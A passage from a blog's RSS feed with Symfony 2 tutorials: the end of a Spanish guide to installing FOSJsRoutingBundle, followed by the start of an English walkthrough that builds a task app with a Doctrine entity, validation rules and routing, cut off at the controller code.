<p>Si no conoces <a href="http://en.wikipedia.org/wiki/Git_%28software%29">GIT</a> (y no te apetece conocerlo), sigue estos pasos:</p>
<p><strong>1. Descargar, descomprimir.</strong><br />
Lo primero es <a href="https://github.com/FriendsOfSymfony/FOSJsRoutingBundle">entrar a la web del bundle en cuestión</a> y <a href="https://github.com/FriendsOfSymfony/FOSJsRoutingBundle/zipball/master">descargar el ZIP</a>.</p>
<p>Después extraer la carpeta (que tendrá un nombre tal que <code>FriendsOfSymfony-FOSJsRoutingBundle-526cf7d</code>) en <code>vendor/bundles/FOS</code> y renombrarla a <code>JsRoutingBundle</code>. </p>
<p>En mi caso, queda en <code>W:\WEB\wamp2.2\www\Symfony\vendor\bundles\FOS\JsRoutingBundle</code></p>
<p><a href="http://www.leccionespracticas.com/informatica-web/symfony-como-instalar-un-bundle/attachment/fosjsroutingtable-path-installation/" rel="attachment wp-att-2041"><img src="http://www.leccionespracticas.com/wp-content/uploads/2012/04/FOSJsRoutingTable-path-installation-300x133.jpg" alt="" title="FOSJsRoutingTable-path-installation" width="300" height="133" class="alignnone size-medium wp-image-2041" /></a></p>
<p><strong>2. Registrar el namespace en <code>app/autoload.php</code></strong> (ojo, es en la parte de <code>registerNamespaces</code>, NO en la de <code>registerPrefixes</code>):</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">// app/autoload.php</span>
<span style="color: #000088;">$loader</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">registerNamespaces</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
    <span style="color: #666666; font-style: italic;">// ...</span>
    <span style="color: #0000ff;">'FOS'</span> <span style="color: #339933;">=&gt;</span> __DIR__<span style="color: #339933;">.</span><span style="color: #0000ff;">'/../vendor/bundles'</span><span style="color: #339933;">,</span>
<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>3. Registrar el bundle en <code>app/AppKernel.php</code>:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">// app/AppKernel.php</span>
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> registerBundles<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$bundles</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
        <span style="color: #666666; font-style: italic;">// ...</span>
&nbsp;
        <span style="color: #000000; font-weight: bold;">new</span> FOS\JsRoutingBundle\FOSJsRoutingBundle<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
    <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p><strong>3. Registrar la ruta en <code>app/config/routing.yml</code></strong></p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># app/config/routing.yml
</span>fos_js_routing<span style="color: #339933;">:</span>
    resource<span style="color: #339933;">:</span> <span style="color: #0000ff;">&quot;@FOSJsRoutingBundle/Resources/config/routing/routing.xml&quot;</span></pre></div></div>

<p><strong>4. Publicar los correspondientes <code>assets</code>&#8230;</strong></p>
<p>Si podéis crear <code>symlinks</code>:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">php app<span style="color: #000000; font-weight: bold;">/</span>console assets:<span style="color: #c20cb9; font-weight: bold;">install</span> <span style="color: #660033;">--symlink</span> web</pre></div></div>

<p>Y si no podéis&#8230;</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">php app<span style="color: #000000; font-weight: bold;">/</span>console assets:<span style="color: #c20cb9; font-weight: bold;">install</span> web</pre></div></div>

<p>Y ya está&#8230; ¡instalado! <img src='http://www.leccionespracticas.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Todos los módulos se instalan de forma muy similar, asi que espero que este ejemplo os sirva.</p>
<p>EDIT:<br />
Si la configuración no es correcta, os dará errores del tipo:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">  The autoloader expected class <span style="color: #ff0000;">&quot;Symfony\Bundle<span style="color: #000099; font-weight: bold;">\F</span>OSJsRoutingBundle\DependencyInj
ection<span style="color: #000099; font-weight: bold;">\F</span>OSJsRoutingExtension&quot;</span> to be defined <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #c20cb9; font-weight: bold;">file</span> <span style="color: #ff0000;">&quot;W:\WEB\wamp2.2\www\Symfony<span style="color: #000099; font-weight: bold;">\
</span>app/../vendor/bundles\Symfony\Bundle<span style="color: #000099; font-weight: bold;">\F</span>OSJsRoutingBundle\DependencyInjection<span style="color: #000099; font-weight: bold;">\F</span>OSJ
sRoutingExtension.php&quot;</span>. The <span style="color: #c20cb9; font-weight: bold;">file</span> was found but the class was not <span style="color: #000000; font-weight: bold;">in</span> it, the clas
s name or namespace probably has a typo.</pre></div></div>

<p>O del tipo:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">W:\WEB\wamp2.2\www\Symfony<span style="color: #000000; font-weight: bold;">&gt;</span>php app<span style="color: #000000; font-weight: bold;">/</span>console assets:<span style="color: #c20cb9; font-weight: bold;">install</span> web
PHP Fatal error:  Class <span style="color: #ff0000;">'FOS\JsRoutingBundle\FOSJsRoutingBundle'</span> not found <span style="color: #000000; font-weight: bold;">in</span> W:
\WEB\wamp2.2\www\Symfony\app\AppKernel.php on line <span style="color: #000000;">25</span>
PHP Stack trace:
PHP   <span style="color: #000000;">1</span>. <span style="color: #7a0874; font-weight: bold;">&#123;</span>main<span style="color: #7a0874; font-weight: bold;">&#125;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> W:\WEB\wamp2.2\www\Symfony\app\console:<span style="color: #000000;">0</span>
PHP   <span style="color: #000000;">2</span>. Symfony\Component\Console\Application-<span style="color: #000000; font-weight: bold;">&gt;</span>run<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> W:\WEB\wamp2.2\www\Symfony
\app\console:<span style="color: #000000;">22</span>
PHP   <span style="color: #000000;">3</span>. Symfony\Bundle\FrameworkBundle\Console\Application-<span style="color: #000000; font-weight: bold;">&gt;</span>doRun<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> W:\WEB\wamp
<span style="color: #000000;">2.2</span>\www\Symfony\vendor\symfony\src\Symfony\Component\Console\Application.php:<span style="color: #000000;">118</span>
&nbsp;
PHP   <span style="color: #000000;">4</span>. Symfony\Bundle\FrameworkBundle\Console\Application-<span style="color: #000000; font-weight: bold;">&gt;</span>registerCommands<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
W:\WEB\wamp2.2\www\Symfony\vendor\symfony\src\Symfony\Bundle\FrameworkBundle\Con
sole\Application.php:<span style="color: #000000;">66</span>
PHP   <span style="color: #000000;">5</span>. Symfony\Component\HttpKernel\Kernel-<span style="color: #000000; font-weight: bold;">&gt;</span>boot<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> W:\WEB\wamp2.2\www\Symfony\
vendor\symfony\src\Symfony\Bundle\FrameworkBundle\Console\Application.php:<span style="color: #000000;">80</span>
PHP   <span style="color: #000000;">6</span>. Symfony\Component\HttpKernel\Kernel-<span style="color: #000000; font-weight: bold;">&gt;</span>initializeBundles<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> W:\WEB\wamp2.2
\www\Symfony\app\bootstrap.php.cache:<span style="color: #000000;">511</span>
PHP   <span style="color: #000000;">7</span>. AppKernel-<span style="color: #000000; font-weight: bold;">&gt;</span>registerBundles<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> W:\WEB\wamp2.2\www\Symfony\app\bootstrap.p
hp.cache:<span style="color: #000000;">717</span>
&nbsp;
Fatal error: Class <span style="color: #ff0000;">'FOS\JsRoutingBundle\FOSJsRoutingBundle'</span> not found <span style="color: #000000; font-weight: bold;">in</span> W:\WEB\
wamp2.2\www\Symfony\app\AppKernel.php on line <span style="color: #000000;">25</span>
&nbsp;
Call Stack:
    <span style="color: #000000;">0.0003</span>     <span style="color: #000000;">635976</span>   <span style="color: #000000;">1</span>. <span style="color: #7a0874; font-weight: bold;">&#123;</span>main<span style="color: #7a0874; font-weight: bold;">&#125;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> W:\WEB\wamp2.2\www\Symfony\app\console:<span style="color: #000000;">0</span>
    <span style="color: #000000;">0.0228</span>    <span style="color: #000000;">2892904</span>   <span style="color: #000000;">2</span>. Symfony\Component\Console\Application-<span style="color: #000000; font-weight: bold;">&gt;</span>run<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> W:\WEB\<span style="color: #c20cb9; font-weight: bold;">w</span>
amp2.2\www\Symfony\app\console:<span style="color: #000000;">22</span>
    <span style="color: #000000;">0.0274</span>    <span style="color: #000000;">3140600</span>   <span style="color: #000000;">3</span>. Symfony\Bundle\FrameworkBundle\Console\Application-<span style="color: #000000; font-weight: bold;">&gt;</span>d
oRun<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> W:\WEB\wamp2.2\www\Symfony\vendor\symfony\src\Symfony\Component\Console\A
pplication.php:<span style="color: #000000;">118</span>
    <span style="color: #000000;">0.0274</span>    <span style="color: #000000;">3140600</span>   <span style="color: #000000;">4</span>. Symfony\Bundle\FrameworkBundle\Console\Application-<span style="color: #000000; font-weight: bold;">&gt;</span>r
egisterCommands<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> W:\WEB\wamp2.2\www\Symfony\vendor\symfony\src\Symfony\Bundle\F
rameworkBundle\Console\Application.php:<span style="color: #000000;">66</span>
    <span style="color: #000000;">0.0274</span>    <span style="color: #000000;">3140600</span>   <span style="color: #000000;">5</span>. Symfony\Component\HttpKernel\Kernel-<span style="color: #000000; font-weight: bold;">&gt;</span>boot<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> W:\WEB\wa
mp2.2\www\Symfony\vendor\symfony\src\Symfony\Bundle\FrameworkBundle\Console\Appl
ication.php:<span style="color: #000000;">80</span>
    <span style="color: #000000;">0.0274</span>    <span style="color: #000000;">3140600</span>   <span style="color: #000000;">6</span>. Symfony\Component\HttpKernel\Kernel-<span style="color: #000000; font-weight: bold;">&gt;</span>initializeBundle
s<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> W:\WEB\wamp2.2\www\Symfony\app\bootstrap.php.cache:<span style="color: #000000;">511</span>
    <span style="color: #000000;">0.0274</span>    <span style="color: #000000;">3141224</span>   <span style="color: #000000;">7</span>. AppKernel-<span style="color: #000000; font-weight: bold;">&gt;</span>registerBundles<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> W:\WEB\wamp2.2\www\Symfo
ny\app\bootstrap.php.cache:<span style="color: #000000;">717</span></pre></div></div>

<p>Si habéis seguido los pasos de arriba al pie de la letra, debería funcionar. No obstante, aseguraos de que el fichero <code>Symfony\vendor\bundles\FOS\JsRoutingBundle</code> existe y contiene</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">namespace</span> FOS\JsRoutingBundle<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">use</span> Symfony\Component\HttpKernel\Bundle\Bundle<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009933; font-style: italic;">/**
 * FOSJsRoutingBundle class.
 *
 * @author      William DURAND &lt;william.durand1@gmail.com&gt;
 */</span>
<span style="color: #000000; font-weight: bold;">class</span> FOSJsRoutingBundle <span style="color: #000000; font-weight: bold;">extends</span> Bundle
<span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/symfony-disable-the-web-debug-toolbar-in-prod-environment/' rel='bookmark' title='Symfony: disable the web debug toolbar in PROD environment [SOLVED]'>Symfony: disable the web debug toolbar in PROD environment [SOLVED]</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/solved-symfony-assets-an-exception-has-been-thrown-during-the-rendering-of-a-template-route-_assetic_xxx-does-not-exist/' rel='bookmark' title='[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)'>[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-yui-css-compression-with-assetic-on-windows-wamp-systems-solved/' rel='bookmark' title='Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]'>Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.leccionespracticas.com/informatica-web/symfony-como-instalar-un-bundle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Symfony: create and update an Entity using doctrine [FULL EXAMPLE]</title>
		<link>http://www.leccionespracticas.com/informatica-web/symfony-create-and-update-an-entity-using-doctrine-full-example/</link>
		<comments>http://www.leccionespracticas.com/informatica-web/symfony-create-and-update-an-entity-using-doctrine-full-example/#comments</comments>
		<pubDate>Tue, 17 Apr 2012 16:46:39 +0000</pubDate>
		<dc:creator>Miguel</dc:creator>
				<category><![CDATA[Informática - web]]></category>
		<category><![CDATA[Symfony]]></category>
		<category><![CDATA[doctrine]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[formbuild]]></category>
		<category><![CDATA[forms]]></category>
		<category><![CDATA[mvc]]></category>
		<category><![CDATA[symfony]]></category>
		<category><![CDATA[views]]></category>

		<guid isPermaLink="false">http://www.leccionespracticas.com/?p=2029</guid>
		<description><![CDATA[The Symfony form documentation is better than it used to be, but forms are still one of the most tricky things to figure out. I just wanted to save someone&#8217;s time by showing a full working example that deals with forms, doctrine, views, routing and controller issues. I really encourage you to read Symfony official [...]
Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-yui-css-compression-with-assetic-on-windows-wamp-systems-solved/' rel='bookmark' title='Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]'>Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/curso-de-symfony-completo-con-ejercicios-resueltos-gratis/' rel='bookmark' title='Curso de Symfony completo con ejercicios resueltos gratis'>Curso de Symfony completo con ejercicios resueltos gratis</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/solved-symfony-assets-an-exception-has-been-thrown-during-the-rendering-of-a-template-route-_assetic_xxx-does-not-exist/' rel='bookmark' title='[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)'>[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://www.leccionespracticas.com/?s=symfony&#038;search=">Symfony</a> form documentation is better than it used to be, but forms are still one of the most tricky things to figure out. </p>
<p>I just wanted to save someone&#8217;s time by showing a <strong>full working example</strong> that deals with forms, doctrine, views, routing and controller issues. </p>
<p>I really encourage you to read <a href="http://symfony.com/doc/current/book/forms.html">Symfony official documentation about forms</a> and <a href="http://symfony.com/doc/current/book/doctrine.html">Doctrine</a> before going on with my example. It will be useful to open <a href="http://api.symfony.com/2.0/index.html" target="new">The Symfony2 API</a> in a new tab.</p>
<h2>The goal</h2>
<p>We&#8217;ll be building this &#8220;task reminder&#8221; web app using Symfony (forms and Doctrine). Hope this helps someone.</p>
<h2>The Model (aka Entity)</h2>
<p>So, lets take a look at my <code>entity\Task.php</code> file. Nothing fancy here. A task consists of an <code>id</code>, a <code>task </code>(name), a <code>due date</code>, an <code>url</code> and a <code>description</code>. The necessary information is provided to make Symfony &#8220;understand&#8221; our Task objets and map the attributes to Database table.</p>
<p>Note the <code>strategy=AUTO</code> parameter in <code>Id</code> field. When using this, Doctrine will generate Id&#8217;s begining with 1. This is useful, as will be seen after.</p>
<p>To avoid writing all the (stupid) lines related to <code>getters </code>and <code>setters </code>you could just write the attributes, then run&#8230;</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">php app<span style="color: #000000; font-weight: bold;">/</span>console doctrine:generate:entities curso<span style="color: #000000; font-weight: bold;">/</span>TaskBundle<span style="color: #000000; font-weight: bold;">/</span>Entity<span style="color: #000000; font-weight: bold;">/</span>Task</pre></div></div>

<p>&#8230; and all the necessary <code>setters </code>and <code>getters </code>would be created (don&#8217;t you love Symfony already?)</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #666666; font-style: italic;">// src/curso/TaskBundle/Entity/Task.php</span>
<span style="color: #000000; font-weight: bold;">namespace</span> curso\TaskBundle\Entity<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// para el mapping entre campos de la BD y Entity</span>
<span style="color: #000000; font-weight: bold;">use</span> Doctrine\ORM\Mapping <span style="color: #b1b100;">as</span> ORM<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009933; font-style: italic;">/**
 * @ORM\Entity
 * @ORM\Table(name=&quot;task&quot;)
 */</span>
<span style="color: #000000; font-weight: bold;">class</span> Task2
<span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	* @ORM\Id
	* @ORM\Column(type=&quot;integer&quot;, unique=true)
	* @ORM\GeneratedValue(strategy=&quot;AUTO&quot;)
	*/</span>
	<span style="color: #000000; font-weight: bold;">protected</span> <span style="color: #000088;">$id</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * El nombre de la tarea, como máximo de 20 caracteres
	 * @ORM\Column(type=&quot;string&quot;, length=20)
	*/</span>
    <span style="color: #000000; font-weight: bold;">protected</span> <span style="color: #000088;">$task</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * La fecha de finalización de la tarea
	 * @ORM\Column(type=&quot;date&quot;)
	 */</span>
    <span style="color: #000000; font-weight: bold;">protected</span> <span style="color: #000088;">$dueDate</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * La descripción de la tarea
	 * @ORM\Column(type=&quot;text&quot;, length=300)
	*/</span>
	<span style="color: #000000; font-weight: bold;">protected</span> <span style="color: #000088;">$description</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * La URL relacionada de algún modo con la tarea
	 * @ORM\Column(type=&quot;text&quot;, nullable=true)
	*/</span>
	<span style="color: #000000; font-weight: bold;">protected</span> <span style="color: #000088;">$url</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getTask<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">task</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> setTask<span style="color: #009900;">&#40;</span><span style="color: #000088;">$task</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">task</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$task</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getDueDate<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">dueDate</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> setDueDate<span style="color: #009900;">&#40;</span>\DateTime <span style="color: #000088;">$dueDate</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">dueDate</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$dueDate</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getDescription<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">description</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> setDescription<span style="color: #009900;">&#40;</span><span style="color: #000088;">$description</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">description</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$description</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getUrl<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> setUrl<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$url</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getId<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">id</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> setId<span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">id</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$id</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Lets add some <strong>validations</strong> to that class. This is <code>Resources/config/validation.yml</code> and contains the field descriptions (that will match the ones in the form definition). Along with the fields are the messages to display in case of form errors and some (stupid) URL check using a regex.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">curso\TaskBundle\Entity\Task2:
    properties:
        task:
            - NotBlank:  <span style="color: #7a0874; font-weight: bold;">&#123;</span>message: <span style="color: #ff0000;">&quot;Debes darle nombre a la tarea&quot;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
            - MaxLength: <span style="color: #7a0874; font-weight: bold;">&#123;</span>limit: <span style="color: #000000;">20</span>, message: <span style="color: #ff0000;">&quot;El nombre de la tarea no puede tener más de {{ limit }} caracteres&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#125;</span>
            - MinLength: <span style="color: #7a0874; font-weight: bold;">&#123;</span>limit: <span style="color: #000000;">1</span>, message: <span style="color: #ff0000;">&quot;El nombre de la tarea no puede tener menos de {{ limit }} caracteres&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#125;</span>
        dueDate:
            - NotBlank: ~
            - Type: \DateTime
            - Date: <span style="color: #7a0874; font-weight: bold;">&#123;</span>message: <span style="color: #ff0000;">&quot;Debes insertar una fecha válida&quot;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
        description:
             - MaxLength: <span style="color: #7a0874; font-weight: bold;">&#123;</span> limit: <span style="color: #000000;">300</span>, message: <span style="color: #ff0000;">&quot;Descripción limitada a {{ limit }} caracteres&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#125;</span>
        url:
            - Url: 
            - Regex: 
                pattern: <span style="color: #ff0000;">&quot;/.*\.es$/&quot;</span>
                message: <span style="color: #ff0000;">&quot;La URL debe terminar en .es&quot;</span></pre></div></div>

<p>At this point you should create the table in the database. I am assuming you have a MySQL server and Doctrine already configured to use it.</p>
<p>Well, I got good news for you. No (boring) process of table creation. Symfony does the job for you! <img src='http://www.leccionespracticas.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">php app<span style="color: #000000; font-weight: bold;">/</span>console doctrine:schema:update <span style="color: #660033;">--force</span></pre></div></div>

<h2>The routing</h2>
<p>Next, we should define the paths in <code>Resources/config/routing.yml</code><br />
Four paths will be defined: one for the new task, one for showing all tasks, another one to edit a task and another one to show messages (success)<br />
Note the (security) requirement in the id parameter (must be a number!) and default id value (0 is not an index that Doctrine produces)</p>

<div class="wp_syntax"><div class="code"><pre class="yml" style="font-family:monospace;"># src/curso/TaskBundle/Resources/config/routing.yml
cursoTaskBundle_task_new:
    pattern: /new
    defaults: { _controller: cursoTaskBundle:Default:new }
&nbsp;
cursoTaskBundle_task_show:
    pattern: /show
    defaults: { _controller: cursoTaskBundle:Default:show }	
&nbsp;
cursoTaskBundle_task_edit:
    pattern: /{id}/edit
    defaults: { _controller: cursoTaskBundle:Default:edit, id: 0 }
    requirements: 
          id: \d+	
&nbsp;
cursoTaskBundle_task_success:
    pattern: /success/{nombreTarea}
    defaults: { _controller: cursoTaskBundle:Default:success, nombreTarea: - }</pre></div></div>

<h2>The controller</h2>
<p>Now, the juice. The code is explained in the comments, but is easy to follow although your spanish skills are not that great <img src='http://www.leccionespracticas.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Every action that was previously defined in the routing part is created.</p>
<p>I would also like to share this image because it helps people understand what is going on with Forms.<br />
<a href="http://www.symfony-project.org/images/forms_book/en/02_02.png"><img src="http://www.symfony-project.org/images/forms_book/en/02_02.png" width="550px" /></a></p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// src/curso/TaskBundle/Controller/DefaultController.php</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">namespace</span> curso\TaskBundle\Controller<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> curso\TaskBundle\Entity\Task<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> curso\TaskBundle\Entity\Task2<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> Symfony\Bundle\FrameworkBundle\Controller\Controller<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> Symfony\Component\HttpFoundation\Request<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> Symfony\Component\HttpFoundation\Response<span style="color: #339933;">;</span>
&nbsp;
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> DefaultController <span style="color: #000000; font-weight: bold;">extends</span> Controller
<span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">/* 
     * Nueva tarea
     */</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> newAction<span style="color: #009900;">&#40;</span>Request <span style="color: #000088;">$request</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
